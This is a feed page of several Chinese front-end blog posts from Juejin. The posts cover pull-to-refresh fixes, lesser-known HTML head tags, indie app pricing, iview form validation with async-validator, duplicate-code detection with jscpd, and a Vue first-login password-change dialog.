我们可以把 end 函数加以改造,在数据还没有加载完成时(用 setTimeout 模拟的),让加载动画 style 的 translateY 一直是 80px,translateY(80px) 可以和 初始 CSS 的 top: -80px; 相互抵消,让动画在未刷新完成前停留在视口顶部。


function end() {
...
box.style = `
transform: translateY(80px);
transition: all 0.3s linear;
`

loader.className = 'loading'
setTimeout(() => {
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`

loader.className = ''
}, 1000)
}

重复触发


第三个缺陷是,下拉可以重复触发。


正常来说,如果我们已经下拉过,数据正在加载中时,我们不能继续下拉。


我们可以增加一个加载锁 loadLock。当加载锁开启时,start,move 和 end 事件都不会触发。


let loadLock = false

function start(e) {
if (loadLock) { return }
...
}

function move(e) {
if (loadLock) { return }
...
}

function end(e) {
if (loadLock) { return }
...
setTimeout(() => {
...
loadLock = true
...
}, 1000)
}

没有限制方向


第四个缺陷是,没有限制方向。


目前我们的代码,用户上拉也能触发。我们可以增加判断,当 endY - startY 小于 0 时,阻止 touchmovetouchend 的逻辑。


function move(e) {
...
if (endY - startY < 0) { return }
...
}

function end() {
if (endY - startY < 0) { return }
...
}

你可能会疑惑,为什么我宁愿写多个判断拦截,也不取消监听事件。这是因为一旦取消监听事件,我们需要考虑在一个合适的时间重新监听,这会把问题变得更复杂。


没有阻止原生滚动


第五个缺陷时,我们在加载数据时没有阻止原生滚动。


虽然我们已经阻止了重复下拉,touchmove 和 touchend 事件被拦截了,但是 H5 原生滚动还能用。


我们可以在刷新时给 body 设置一个 overflow: hidden; 属性,刷新结束后清除 overflow: hidden,这样就可以阻止原生滚动。


body.overflowHidden {
overflow: hidden;
}

const body = document.body
function end() {
...
box.style = `
transform: translateY(80px);
transition: all 0.3s linear;
`

loader.className = 'loading'
body.className = 'overflowHidden'
setTimeout(() => {
...
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`

loader.className = ''
body.className = ''
}, 1000)
}

没有阻止 iOS 橡皮筋效果


第 6 个缺陷是,没有阻止 iOS 的橡皮筋效果。


iOS 浏览器默认滑动时有一个橡皮筋效果,我们需要阻止它,避免影响我们的下拉手势。阻止方式就是给监听器设置 passive: false


function addTouchEvent() {
box.addEventListener('touchstart', start, { passive: false })
box.addEventListener('touchmove', move, { passive: false })
box.addEventListener('touchend', end, { passive: false })
}

addTouchEvent()

解决完 6 个缺陷后,我们已经得到无缺陷的下拉刷新功能,但离丝滑的下拉刷新还有一段距离。我们还可以做一些优化,让下拉刷新更完善。


优化


我们可以做两个优化,第一个优化是添加阻尼效果:


增加阻尼效果


所谓阻尼效果,就是下拉过程我们可以感受到一股阻力的存在,虽然我们下拉力度是一样的,但距离的增加速度变慢了。用物理术语表示的话,就是加速度变小了。


体现到代码上,我们可以设置一个百分比,百分比会随着下拉距离增加而减少,把百分比乘以距离当作最后的距离。


代码中百分比 percent 设为 (100 - distanceY * 0.5) / 100,当 distanceY 越来越大时,百分比 percent 越来越小,最后再把 distanceY * percent 赋值给 distanceY


function move(e) {
...
distanceY = endY - startY
let percent = (100 - distanceY * 0.5) / 100
percent = Math.max(0.5, percent)
distanceY = distanceY * percent
if (distanceY > DISTANCE_Y_MAX_LIMIT) {
distanceY = DISTANCE_Y_MAX_LIMIT
}
...
}

利用角度判断用户下拉意图


第二个优化是利用角度判断用户下拉意图。


下图展示了两种用户下拉的情况,β 角度比 α 角度小,角度越小用户下拉意图越明显、误触的可能性更小。


intension.png


我们可以利用反三角函数求出角度来判断下拉意图。


JavaScript 中,反正切函数是 Math.atan(),需要注意的是,反正切函数算出的是弧度,我们还需要将它乘以 180 / π 才能获取角度。


下面的代码中,我们做了一个限制,只有角度小于 40 时,我们才认为用户的真实意图是想要下拉刷新。


const DEG_LIMIT = 40
function move(e) {
...
distanceY = endY - startY
distanceX = endX - startX
const deg = Math.atan(Math.abs(distanceX) / distanceY)
* (180 / Math.PI)
if (deg > DEG_LIMIT) {
[startY, startX] = [endY, endX]
return
}
...
}

代码示例


你可以在 codepen 中查看效果,web 端需要按 F12 用手机浏览器打开。


codepen.gif


总结


本文讲解了下拉的原理、并根据原理写出初始代码。在初始代码的基础上,我解决了 6 个缺陷、做了 2 个优化,实现了一个完善的下拉刷新效果。


作者:小霖家的混江龙
来源:juejin.cn/post/7340836136208859174
收起阅读 »

你真的熟悉HTML标签吗?--“看不见”却有用的标签

web
HTML标签,前端工程师在开发页面时经常使用。但往往关注更多的是页面渲染效果及交互逻辑,比如表单、菜单栏、列表、图文。还有一些非常重要却容易被忽视的标签,这些标签大多数用在页面头部head标签内,在某些场景下,比如交互实现、性能优化、搜索优化。合理利用它们可以...
继续阅读 »

HTML标签,前端工程师在开发页面时经常使用。但往往关注更多的是页面渲染效果及交互逻辑,比如表单、菜单栏、列表、图文。还有一些非常重要却容易被忽视的标签,这些标签大多数用在页面头部head标签内,在某些场景下,比如交互实现、性能优化、搜索优化。合理利用它们可以达到事半功倍的效果。


交互实现


提倡一个编码原则:Less code,less bug,提倡编码简约


meta标签



自动刷新/跳转



在使用它的时候,刷新和跳转操作是不可取消的,对刷新时间间隔或者需要手动取消的,推荐使用JavaScript定时器来实现



如果只是想实现页面的定时刷新或跳转。(比如某些页面缺乏访问权限,在X秒后跳回首页这样的场景),建议实践下meta标签的用法



PPT自动播放


要实现PPT自动播放的功能,只需要在每个页面的meta标签内设置好下一个页面的地址即可


<!-->五秒后自动跳转到page2.html页面<-->
<meta http-equiv="Refresh" content="5;URL=page2.html">

刷新大屏



比如:每隔一分钟就需要刷新页面的大屏幕监控,也可以通过meta标签来实现,只需去掉后面的URL即可



<meta http-equiv="Refresh" content="60">

title标签与Hack手段



B/S架构的优点:版本更新方便、跨平台、跨终端。但在处理某些场景,比如即时通信场景时,会变得比较麻烦。因为前后端通信深度依赖HTTP协议,而HTTP协议采用“请求-响应”模式。一种低效的解决方案是客户端通过轮询机制获取最新消息 (HTML5下可使用WebSocket协议)



消息提醒



消息提醒功能实现比较困难。HTML5标准发布之前,浏览器没有开放图标闪烁、弹出系统消息之类的接口,只能借助一些Hack的手段,比如修改title标签来达到类似的效果,(HTML5下可使用Web Notifications API弹出系统消息)



// 通过定时修改title内容 模拟了消息提醒闪烁
let msgNum = 1 //消息条数
let cnt = 0 //计数器
const inerval = setInterval(() => {
 cnt = (cnt + 1) % 2
 if (msgNum === 0) {
   document.title += `聊天页面` //通过DOM修改title
   clearlnterval(inerval)
   return
}
 const prefix = cnt % 2 ? `新消息(${msgNum}` ''
 document.title = `${prefix}聊天页面`
}, 1000)

image_0.2333475722562257.gif
定时修改title标签内容,可以制作其他动画效果,比如文字滚动,但需要注意浏览器会对title标签文本进行去空格操作。动态修改title标签可以将一些关键信息显示到标签上(比如下载时的进度、当前操作步骤)


性能优化



性能问题的两方面原因:渲染速度慢、请求时间长。合理地使用标签,可以在一定程度上提升渲染速度以及减少请求时间



script标签



调整加载顺序提升渲染速度。


浏览器的底层渲染机制中:当渲染引擎在解析HTML时,若遇到script标签引用文件,则会暂停解析过程,同时通知网络线程加载文件,文件加载后会切换至JavaScript引擎来执行对应代码,代码执行完成之后切换至渲染引擎继续渲染页面。


可以看出页面渲染过程中包含了,请求文件以及执行文件的时间。但页面的首次渲染可能并不依赖这些文件,所以请求文件和执行文件的动作反而延长了页面渲染的时间。为了减少这些损耗,可以借助script的属性来实现



asyc属性



立即请求文件,但不阻塞渲染引擎,文件加载完毕后阻塞渲染引擎并立即执行文件内容



defer属性



立即请求文件,但不阻塞渲染引擎,等到解析完HTML之后再执行文件内容



HTML5标准type属性--对应值为“module”



让浏览器按照ECMA Script6标准将文件当作模块进行解析,默认阻塞效果同defer,也可以配合async在请求完成后立即执行



image.png


从图中得知:采用三种属性都能减少请求文件引起的阻塞时间,只有defer、type=“module”属性能保证渲染引擎优先执行,从而减少执行文件内容消耗的时间。


当渲染引擎解析HTML遇到script标签引入文件时,会立即进行一次渲染



这也是为什么script放在底部的原因:构建工具会把编译好的引用JavaScript代码的script标签放入到body标签底部 当渲染引擎执行到body底部时会先将已解析的内容渲染出来,然后再去请求相应的JavaScript文件,如果是内联脚本(即不通过src属性引用外部脚本文件直接在HTML编写JavaScript代码的形式),渲染引擎则不会渲染



link标签



通过预处理提升渲染速度。在对大型单页应用进行性能优化时,会用到按需、懒加载的方式来加载对应的模块。但如果能使用link标签的预加载,就能进一步的提升加载速度。



rel = “dns-prefetch”



当link标签的rel属性值为“dns-prefetch”时,浏览器会对某个域名预先进行DNS解析并缓存。如此当浏览器在请求同域名资源时,能省去从域名查询IP的过程从而减少时间消耗



<!-->淘宝网的DNS解析<-->
<link rel="dns-prefetch" href="//g.alicdn.com">
<link rel="dns-prefetch" href-"L/img.alicdn.com">
<link rels"dns-prefetch" href="_/tce.alicdn.com">
<link rel="dns-prefetch" href="L/gm.mmstat.com">
<link ref="dns-prefetch" href="//tce.taobao.com">
<link "dns-prefetch" href="//log.mmstat.com">
<link rel="dns-prefetch" href="L/tui.taobao.com">
<link rel="dns-prefetch" href="//ald.taobao.com">
<link rel="dns-prefetch" href="L/gw.alicdn.com">
<link rel="dns-prefetch" href="L/atanx.alicdn.com">
<link "dns-prefetch" hrefs"_/dfhs.tanx.com">
<link rel="dns-prefetch" href="L/ecpm.tanx.com">
<link rel="dns-prefetch" href="//res.mmstat.com">

preconnect



让浏览器在一个HTTP请求正式发给服务器前预先执行一些操作 包括DNS解析、TLS协商、TCP握手,通过消除往返延迟来为用户节省时间



prefetch/preload



两个值都是让浏览器预先下载并缓存某个资源,但不同的是,prefetch可能会在浏览器忙时被忽略,而preload则是一定会被预先下载



prerender



浏览器不仅会加载资源,还会解析执行页面,进行预渲染



<link rel="preconnect" href="L/atanx.alicdn.com">
<link rel-"prefetch" hrefs"_/dfhs.tanx.com">
<link rel="preload" href="L/ecpm.tanx.com">
<link rel="prerender" href="//res.mmstat.com">

搜索优化


meta标签



提取关键信息。


这些描述信息是通过meta标签专门为搜索引擎设置的。目的是方便用户预览搜索到的结果



<meta content="拉勾,拉勾网,拉勾招聘,拉钩,拉钩网,互联网招聘,拉勾互联网招聘,移动互联网招聘,垂直互联网招聘,微信招聘,微博招聘,拉勾官网,拉勾百科,跳槽,高薪职位,互联网圈子,T招聘,职场招聘,猎头招聘,O2O招聘,LBS招聘,社交招聘,校园招聘,校招,社会招聘,社招"name="keywords">

在实际工作中推荐使用一些关键字工具来挑选,比如Google Trends、站长工具


link标



减少重复


对于同一个页面会有多个网址,又或者存在某些重定向页面,比如:`xx.com/a.htmlxx.com/detail?id="abcd"



合并网址的方式:比如使用站点地图,或者在HTTP请求响应头部添加rel="canonical"


<link href="https://xx.com/a.html"rel="canonical">

知识支撑


浏览器获取资源过程



浏览器获取资源过程解析



image.png


OGP(Open Graph Protocal,开放图表协议)



OGP是Facebook公司在2010年提出的,目的是通过增加文档信息来提升社交网页在被分享时的预览效果,只需要在一些分享页面中添加一些meta标签及属性,支持OGP协议的社交网站就会在解析页面时生成丰富的预览信息,比如站点名称、网页作者、预览图片


官方网站



微信文章支持OPG协议代码



通过mate标签属性值,声明了网址、预览图片、描述信息、站点名称、网页类型、作者等一系列信息



image.png

最后一句: 说一说你还知道哪些“看不见”的标签及用法?

学习心得!若有不正,还望斧正。


作者:沉曦
来源:juejin.cn/post/7246280283556380709
收起阅读 »

独立开发的 APP 卖不好恐怕不是价格的问题

分享一下我对独立 App 定价的一些个人经验。 新人独立开发最大的误区是产品购买率差是价格定的高了。有可能是价格高了,但是大概率不是这个问题。我看到很多人降价、促销、限免,这种没有后手的非策略型降价其实帮助不大。 从付费角度我粗暴的把用户分为三类:一种是有付费...
继续阅读 »

分享一下我对独立 App 定价的一些个人经验。


新人独立开发最大的误区是产品购买率差是价格定的高了。有可能是价格高了,但是大概率不是这个问题。我看到很多人降价、促销、限免,这种没有后手的非策略型降价其实帮助不大。


从付费角度我粗暴的把用户分为三类:一种是有付费习惯的用户,这类用户你产品满足他的点,他就付钱。一种是无论如何都不愿意为这种 app 付钱的,他们宁愿看 30 秒广告,宁愿连续签到 30 天,不收费不给用马上就去下其他免费 app 了。只有一小部分是观望用户,有可能觉得贵了,有可能现在没付费意愿,但是有点想买。


对于优质付费用户,app 的价格浮动 20% 没感知的。关键在于你给他的价格锚点是多少。这就很看你的产品定位和产品的质感传达。一瓶水在便利店和在五星级酒店价格不一样,关键在于价格的感知。所以如果你的产品的商业模式主要是高质量的付费用户,重点不是便宜,重点是让他们觉得值。


对于铁了心的不花钱的用户,如果你没有广告,那么这些用户只有传播价值。所以给到最低使用门槛后,找到一个产品机制让他们产生传播可能。否则这些用户应该果断无视。


对于摇摆观望类,如果能做到定向优惠是很好的手段。但是我没搞这种精细化运营,我一般的做法是画饼和吃定心丸。我会说未来半年我还要做这么多功能,我保证未来价格不打折,我保证明年这个时候涨价。一般观望里真的有购买动机的,这么一说之后 50% 的就会说那我现在买吧。


降价促销其实是一个双刃剑,很多人看到了他的好处,却没有看到他的伤害。伤害的是原价买的老用户,伤害的是本来就会买的人的收入减损,伤害的是产品的价格锚。只要一次促销,用户知道了以后,你的原价就再也没说服力了。因此降价促销只在你能确保这个带来的销量增长远大于这些折损的商誉价格。如果做不到,那最好就是定向优惠。你的促销价就不能公开给已经买了的人和已经是用户的人知道。


作者:独立开花卓富贵
来源:juejin.cn/post/7343132617967976500
收起阅读 »

为了解决一个bug我读了iview源码

web
前言 “小蚂蚁,你这个页面不对啊,输入框有值但还是提示没有填写数据”,测试妹子对我说,我一点也不耐烦地说:“应该不可能出现这种问题,再说了你这没有截图啊,没图没真相啊”,妹子马上发来截图:看这就是你要的截图。 我低下头说:“我看看吧”,这一看不要紧从早晨看到...
继续阅读 »

前言


“小蚂蚁,你这个页面不对啊,输入框有值但还是提示没有填写数据”,测试妹子对我说,我一点也不耐烦地说:“应该不可能出现这种问题,再说了你这没有截图啊,没图没真相啊”,妹子马上发来截图:看这就是你要的截图。


截屏2023-08-09 22.41.58.png


我低下头说:“我看看吧”,这一看不要紧从早晨看到下午,从下午看到下班,还是没看出来哪里有问题啊!既然看不出来问题,那么就去看看源码,接下来一顿操作猛如虎;


深入iview源码


有时候迫不得已必须去看源码,源码有助于分析问题的本质;我这个表单页面用的vue2+iview,那么这就用到了Form和FormItem组件,问题肯定出在他们身上;但是怎么从本地代码断点调试到iview源码呢?


这就需要用到软链,我们在本地clone一份iview源码,然后修改packagejson中的main字段,改成src/index.js,这样就可以调试源码了,然后执行npm link;呀,发现报错了,原来iview还在使用webpack3,gulp的版本比较低,所以node也需要降低到11.15.0这个版本才行,降了版本再执行就OK了;


再到项目文件夹下执行npm link iview,成功链接到iview源码上去了,发现有个别源码的错误,凭借感觉先修复一下,比如下面这个改成esm导出:


截屏2023-08-09 22.52.04.png


找到执行校验的函数:一般都是调用$refs.form.validate方法,打断点


截屏2023-08-09 22.53.45.png


点击提交,成功进入断点,接下来就是秀操作的时候了,F11进入函数:


2023-08-11-20.12.09.webp


可以看到最关键的几行代码:


const validator = new AsyncValidator(descriptor);
let model = {};

model[this.prop] = this.fieldValue;

validator.validate(model, { firstFields: true }, errors => {
this.validateState = !errors ? 'success' : 'error';
this.validateMessage = errors ? errors[0].message : '';

callback(this.validateMessage);
});

iview使用的校验工具是async-validator,相信很多同学没有使用过这个库,那么我们就来看一看:


async-validator


创建一个mjs,直接使用node跑一下这个脚本:


import Schema from "async-validator";

const schema = new Schema.default({
name: {
required: true,
message: "姓名不能为空",
},
age: {
required: true,
message: "年龄不能为空",
},
});

schema.validate(
{
name: "张三",
age: 18,
},
undefined,
(errors) => {
console.log(errors);
}
);


发现没有报错,配置里面支持配置数据的类型,就是相当于在js这个弱类型语言里面加上强类型校验,这在几大框架里面都有做这件事情,js开发者永远都向往着强类型,给age加上一个string类型那么这个时候就会报错[ { message: '年龄不能为空', fieldValue: 18, field: 'age' } ]


    age: {
+ type: "string",
required: true,
message: "年龄不能为空",
},

再回到之前的问题上,有没有可能就是类型判断的错误导致即使填充了数据也报错,再打印errors看一看,发现果然如此,FormItem组件中validator中的type默认为string,而赋予的默认值为number类型,导致类型校验不通过而报错;


这也引发我们深思,后端都是强类型语言,比方说有些场景我们需要输入一些数字,这个时候input框内获取到的必然都是字符串,而后端返回给我们的必然又是number类型,这就导致输入输出类型不一致了,本来对于js这个弱类型语言,这一点完全没有必要纠结,反正字符串和数字他们之间隐式转换可以随便转;所以就我而言,js没有必要把字符串和数字类型限制得这么死,就像async-validator一样,弱类型不需要强校验


同样的async-validator为什么iview就有问题?稍有经验的同学应该一眼就能看出来,那必然是版本的问题,我们安装iview使用的版本:1.12.2,然后执行同样的脚本报错:[ { message: '年龄不能为空', field: 'age' } ],我们再深入到源码里面去看就知道它是默认设置为string类型了,这样的话如果不指定类型,就会当做string类型来校验,是不是感觉好像找到了一个bug,我本来以为可以提一个PR,但是后来想一想找个问题在于async-validator,给iview提PR好像也没什么用啊,而且async-validator在高版本已经解决了这个问题;


后记


在这个解决问题的过程中,我翻看了iview源码,学会了通过软链来调试源码的技巧,同时还掌握了一个异步校验工具:async-validator,可谓一箭双雕


另外我们还发现一个规律就是,在js的世界里面其实string和number这两种类型傻傻分不清,因为他们大部分情况下都可以隐式转换,所以在开发的时候需要格外注意,如果有用到强类型校验的话,我们就需要保证我们变量的类型一致性,比如说一个变量它是string类型那么就不能赋值number类型的变量


最后我顺利地解决了这个问题,虽然这个时候已经“夕阳西下”,我还是硬着头皮去找测试说:下班之前给它解决了,该你上了!然后就是测试测完了,我们顺利地上线了。


作者:蚂小蚁
来源:juejin.cn/post/7266340931359424551
收起阅读 »

前端代码重复度检测

web
在前端开发中,代码的重复度是一个常见的问题。重复的代码不仅增加了代码的维护成本,还可能导致程序的低效运行。为了解决这个问题,有许多工具和技术被用来检测和消除代码重复。其中一个被广泛使用的工具就是jscpd。 jscpd简介 jscpd是一款开源的JavaScr...
继续阅读 »

在前端开发中,代码的重复度是一个常见的问题。重复的代码不仅增加了代码的维护成本,还可能导致程序的低效运行。为了解决这个问题,有许多工具和技术被用来检测和消除代码重复。其中一个被广泛使用的工具就是jscpd


jscpd简介


jscpd是一款开源的JavaScript的工具库,用于检测代码重复的情况,针对复制粘贴的代码检测很有效果。它可以通过扫描源代码文件,分析其中的代码片段,并比较它们之间的相似性来检测代码的重复度。jscpd支持各种前端框架和语言,包括HTML、CSS和JavaScript等150种的源码文件格式。无论是原生的JavaScript、CSS、HTML代码,还是使用typescriptscssvuereact等代码,都能很好的检测出项目中的重复代码。


开源仓库地址:github.com/kucherenko/jscpd/tree/master


如何使用


使用jscpd进行代码重复度检测非常简单。我们需要安装jscpd。可以通过npmyarn来安装jscpd


npm install -g jscpd

yarn global add jscpd

安装完成后,我们可以在终端运行jscpd命令,指定要检测的代码目录或文件。例如,我们可以输入以下命令来检测当前目录下的所有JavaScript文件:


jscpd .

指定目录检测:


jscpd /path/to/code

在命令行执行成功后的效果如下图所示:



简要说明一下对应图中的字段内容:



  • Clone found (javascript):
    显示找到的重复代码块,这里是javascript文件。并且会显示重复代码在文件中具体的行数,便于查找。

  • Format:文件格式,这里是 javascript,还可以是 scss、markup 等。

  • Files analyzed:已分析的文件数量,统计被检测中的文件数量。

  • Total lines:所有文件的总行数。

  • Total tokens:所有的token数量,一行代码一般包含几个到几十个不等的token数量。

  • Clones found:找到的重复块数量。

  • Duplicated lines:重复的代码行数和占比。

  • Duplicated tokens:重复的token数量和占比。

  • Detection time:检测耗时。


工程配置


以上示例是比较简单直接检测单个文件或文件夹。当下主流的前端项目大多都是基于脚手架生成或包含相关前端工程化的文件,由于很多文件是辅助工具如依赖包、构建脚本、文档、配置文件等,这类文件都不需要检测,需要排除。这种情况下的工程一般使用配置文件的方式,通过选项配置规范 jscpd 的使用。


jscpd 的配置选项可以通过以下两种方式创建,增加的内容都一致无需区分对应的前端框架。


在项目根目录下创建配置文件 .jscpd.json,然后在该文件中增加具体的配置选项:


    {
"threshold": 0,
"reporters": ["html", "console", "badge"],
"ignore": ["**/__snapshots__/**"],
"absolute": true
}

也可直接在 package.json 文件中添加jscpd


    {
...
"jscpd": {
"threshold": 0.1,
"reporters": ["html", "console", "badge"],
"ignore": ["**/__snapshots__/**"],
"absolute": true,
"gitignore": true
}
...
}

简要介绍一下上述配置字段含义:



  • threshold:表示重复度的阈值,超过这个值,就会输出错误报警。如阈值设为 10,当重复度为18.1%时,会提示以下错误❌,但代码的检测会正常完成。


ERROR: jscpd found too many duplicates (18.1%) over threshold (10%)


  • reporters:表示生成结果检测报告的方式,一般有以下几种:

    • console:控制台打印输出

    • consoleFull:控制台完整打印重复代码块

    • json:输出 json 格式的报告

    • xml:输出 xml 格式的报告

    • csv:输出 csv 格式的报告

    • markdown:输出带有 markdown 格式的报告

    • html:生成html报告到html文件夹

    • verbose:输出大量调试信息到控制台



  • ignore:检测忽略的文件或文件目录,过滤一些非业务代码,如依赖包、文档或静态文件等

  • format:需要进行重复度检测的源代码格式,目前支持150多种,我们常用的如 javascript、typescript、css 等

  • absolute:在检测报告中使用绝对路径


除此之外还有很多其他的配置,有兴趣的可以看源码文档中有详细的介绍。


检测报告


完成以上jscpd配置后执行以下命令即可输出对应的重复检测报告。运行完毕后,jscpd会生成一个报告,展示每个重复代码片段的信息。报告中包含了重复代码的位置、相似性百分比和代码行数等详细信息。通过这些信息,我们可以有针对性的进行代码重构。


jscpd ./src -o 'report'

项目中的业务代码通常会选择放在 ./src 目录下,所以可以直接检测该目录下的文件,如果是放在其他目录下根据实际情况调整即可。
通过命令行参数-o 'report'输出检测报告到项目根目录下的 report 文件夹中,这里的report也可以自定义其他目录名称,输出的目录结构如下所示:



生成的报告页面如下所示:


项目概览数据:



具体重复代码的位置和行数:



默认检测重复代码的行数(5行)和tokens(50)比较小,所以产生的重复代码块可能比较多,在实际使用中可以针对检测范围进行设置,如下设置参数供参考:



  • 最小tokens:--min-tokens,简写 -k

  • 最小行数:--min-lines,简写 -l

  • 最大行数:--max-lines,简写 -x


jscpd ./src --min-tokens 200 --min-lines 20 -o 'report'

为了更便捷的使用此命令,可将这段命令集成到 package.json 中的 scripts 中,后续只需执行 npm run jscpd 即可执行检测。如下所示:


"scripts": {
...
"jscpd": "jscpd ./src --min-tokens 200 --min-lines 20 -o 'report'",
...
}

忽略代码块


上面所提到的ignore可以忽略某个文件或文件夹,还有一种忽略方式是忽略文件中的某一块代码。由于一些重复代码在实际情况中是必要的,可以使用代码注释标识的方式忽略检测,在代码的首尾位置添加注释,jscpd:ignore-startjscpd:ignore-end 包裹代码即可。


在js代码中使用方式:


/* jscpd:ignore-start */
import lodash from 'lodash';
import React from 'react';
import {User} from './models';
import {UserService} from './services';
/* jscpd:ignore-end */

在CSS和各种预处理中与js中的用法一致:


/* jscpd:ignore-start */
.style {
padding: 40px 0;
font-size: 26px;
font-weight: 400;
color: #464646;
line-height: 26px;
}
/* jscpd:ignore-end */

在html代码中使用方式:


<!--
// jscpd:ignore-start
-->

<meta data-react-helmet="true" name="theme-color" content="#cb3837"/>
<link data-react-helmet="true" rel="stylesheet" href="https://static.npmjs.com/103af5b8a2b3c971cba419755f3a67bc.css"/>
<link data-react-helmet="true" rel="apple-touch-icon" sizes="120x120" href="https://static.npmjs.com/58a19602036db1daee0d7863c94673a4.png"/>
<link data-react-helmet="true" rel="icon" type="image/png" href="https://static.npmjs.com/b0f1a8318363185cc2ea6a40ac23eeb2.png" sizes="32x32"/>
<!--
// jscpd:ignore-end
-->


总结


jscpd是一款强大的前端本地代码重复度检测工具。它可以帮助开发者快速发现代码重复问题,简单的配置即可输出直观的代码重复数据,通过解决重复的代码提高代码的质量和可维护性。


使用jscpd我们可以有效地优化前端开发过程,提高代码的效率和性能。希望本文能够对你了解基于jscpd的前端本地代码重复度检测有所帮助。




看完本文如果觉得有用,记得点个赞支持,收藏起来说不定哪天就用上啦~


专注前端开发,分享前端相关技术干货,公众号:南城大前端(ID: nanchengfe)


作者:南城FE
来源:juejin.cn/post/7288699185981095988
收起阅读 »

前端操作:用户首次登录强制更改密码

web
用户首次登录强制更改密码 这个系统每个新用户的初始密码都是后端分配的123456,要求用户初次登录此系统,就强制要求用户将密码修改为字母+数字,再用新密码才可登录; 封装了个组件,个人觉得校验规则写得比较全面,所以记录下分享给有需要的朋友;组件名为:First...
继续阅读 »

用户首次登录强制更改密码


这个系统每个新用户的初始密码都是后端分配的123456,要求用户初次登录此系统,就强制要求用户将密码修改为字母+数字,再用新密码才可登录;


封装了个组件,个人觉得校验规则写得比较全面,所以记录下分享给有需要的朋友;组件名为:FirstLoginDialog


先看效果图:


bc2f3f4f8ef8f13b6aa2a10ab5e2c6d.png


bbac9b40423d4e654fd6aa5c2099e90.png


da546cfcebb9819940c5086a5717b1a.png


实现思路:


1、在登陆跳转前判断密码是否为初始密码,如果是的话就弹框修改,否则直接登录首页


// 判断密码是否为初始密码 123456
if(this.loginForm.password == '123456'){
this.$message.error('您是首次登录系统,请修改初始密码!')
setTimeout(() => {
this.dialogTableVisible = true;
}, 1500);
} else {
this.$router.push({ path: this.redirect || "/" }).catch(() => {});
}

2、在修改密码的input校验规则中,设定必须要为字母+数字,不可再为123456;


login父组件:


<FirstLoginDialog :dialogTableVisible="dialogTableVisible" @handleClose="handleClose" :username="this.loginForm.username"></FirstLoginDialog>

FirstLoginDialog子组件:


<!-- 首次登录系统,修改密码弹框  -->
<template>
<el-dialog ref="dailog" width="40%" title="初始密码修改" show-close :visible="dialogTableVisible"
:before-close="close" :close-on-click-modal="false">

<!-- 进度条 -->
<el-steps :active="active" align-center>
<el-step title="初次登录" />
<el-step title="修改初始密码" />
<el-step title="完成" />
</el-steps>
<!-- 第1步展示 -->
<div v-if="active == 1" style="color: red;text-align: center;line-height: 30px;font-weight: 700;margin: 10px 0;">
您好,为了您的账号安全,请点击下一步修改初始密码
</div>
<!-- 第2、3步展示 -->
<div v-if="active != 3" style="width: 60%; margin: 0 auto;text-align:center">
<el-form ref="form" :model="user" status-icon :rules="rules">
<!-- 第1步展示 -->
<el-form-item v-show="active == 1" label="登陆账号">
<el-input v-model="username" :disabled="true" size="medium" />
</el-form-item>
<!-- 第2步展示 -->
<template v-if="active == 2">
<el-form-item label="旧密码" prop="oldPassword" class="password-item">
<el-input type="password" v-model="user.oldPassword" autocomplete="off" :show-password="true">
</el-input>
</el-form-item>
<el-form-item label="新密码" prop="newPassword" class="password-item">
<el-input type="password" v-model="user.newPassword" autocomplete="off" :show-password="true"></el-input>
</el-form-item>
<el-form-item label="确认新密码" prop="confirmPassword" class="password-item">
<el-input type="password" v-model="user.confirmPassword" :show-password="true" autocomplete="off"></el-input>
</el-form-item>
</template>
</el-form>
<!-- 第2、3步展示 -->
<div v-if="active != 1" slot="footer" class="dialog-footer">
<el-button @click="resetForm('form')">上一步</el-button>
<el-button type="primary" @click="submit('form')">下一步</el-button>
</div>
<!-- 第1步展示 -->
<div v-else slot="footer" class="dialog-footer">
<el-button type="primary" style="width:75%" @click="nextTip">下一步</el-button>
</div>
</div>
<!-- 第3步展示 -->
<div v-if="active === 3" class="ImgTip" style="text-align: center;margin: 0 auto;">
<div style="margin:20px 0">
<img v-if="isSuccess === true" src="@/assets/images/password_2.png" alt="">
<img v-else src="@/assets/images/password_1.png">
</div>
<p v-if="isSuccess === true" style="margin: 20px 0;">修改密码成功</p>
<p v-else style="margin: 20px 0;">网络开小差了,密码修改失败,请重新修改</p>
<el-button v-if="isSuccess === true" type="primary" @click="close">重新登录</el-button>
<el-button v-else type="primary" @click="again">重新修改</el-button>
</div>
<!-- 第2步展示 -->
<div v-if="active == 2" class="tip" style="color: red;margin-top: 20px;">
<h4>温馨提示</h4>
<p style="margin: 5px">1、密码长度不能低于6个字符</p>
<p style="margin: 5px">2、密码必须由数字、英文字符组成</p>
</div>
</el-dialog>
</template>

<script>
import { updateUserPwd } from "@/api/system/user";

export default {
props: {
dialogTableVisible: {
type: Boolean,
default: false
},
username: {
type: String,
default: ''
},
},
data () {
// 验证规则
// 是否包含一位数字
const regNumber = /(?=.*[\d])/;
// 是否包含一位字母
const regLetter = /(?=.*[a-zA-Z])/;
// 是否包含一位特殊字符
// const regCharacter = /(?=.*[`~!@#$%^&*()_\-+=<>?:"{}|,.\/;'\\[\]·~!@#¥%……&*()——\-+={}|《》?:“”【】、;‘’,。、])/
// 校验新密码
const validatePass = (rule, value, callback) => {
if (value === '') {
callback(new Error('新密码不能为空!请重新输入'))
} else {
if (value.length > 16) {
callback(new Error('密码长度不超过16个字符。'))
} else if (value.length < 6) {
callback(new Error('密码长度不低于6个字符。'))
} else {
if (!/^[a-zA-Z\d]{1}/.test(value)) {
callback(new Error('密码必须以英文字母或数字开头!'))
} else {
if (!regNumber.test(value)) {
callback(new Error('密码必须由数字,英文字母组成!'))
} else if (!regLetter.test(value)) {
callback(new Error('密码必须由数字,英文字母组成!'))
} else {
callback()
}
}
}
}
}
var validatePass2 = (rule, value, callback) => {
if (value === '') {
callback(new Error('请再次输入密码'));
} else if (value !== this.user.newPassword) {
callback(new Error('两次输入密码不一致!'));
} else {
callback();
}
};
return {
user: {
oldPassword: undefined,
newPassword: undefined,
confirmPassword: undefined
},
isSuccess: false,
active: 1,
// 表单校验
rules: {
newPassword: [
{ required: true, validator: validatePass, trigger: "blur" }
],
confirmPassword: [
{ required: true, validator: validatePass2, trigger: "blur" }
],
oldPassword: [
{ required: true, message: "旧密码不能为空", trigger: "blur" }
],
},
};
},
methods: {
nextTip () {
this.active += 1
},
resetForm () {
this.active -= 1
},
again () {
this.active = 1
},
submit () {
this.$refs["form"].validate(valid => {
if (valid) {
updateUserPwd(this.user.oldPassword, this.user.newPassword).then(response => {
if (response.code == 200) {
this.isSuccess = true
} else {
this.isSuccess = false
}
this.active = 3
});
}
});
},
close () {
this.$emit('handleClose');
},
}
};
